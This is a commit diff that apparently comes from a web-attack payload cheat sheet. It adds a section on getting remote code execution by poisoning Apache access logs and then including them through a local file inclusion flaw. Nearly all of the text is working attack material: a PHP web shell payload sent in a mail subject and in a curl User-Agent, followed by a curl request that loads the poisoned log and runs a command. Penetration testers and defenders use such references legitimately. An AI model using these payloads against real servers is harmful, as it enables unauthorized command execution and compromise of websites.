Merge pull request #362 from noraj/patch-1

add RCE via Apache logs in log poisoning
patch-1
Swissky 2021-05-10 13:13:34 +02:00 committed by GitHub
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@ -345,6 +345,22 @@ In some cases you can also send the email with the `mail` command line.
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
```
### RCE via Apache logs
Poison the User-Agent in access logs:
```
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
```
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
Then request the logs via the LFI and execute your command.
```
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
```
## LFI to RCE via PHP sessions
Check if the website use PHP Session (PHPSESSID)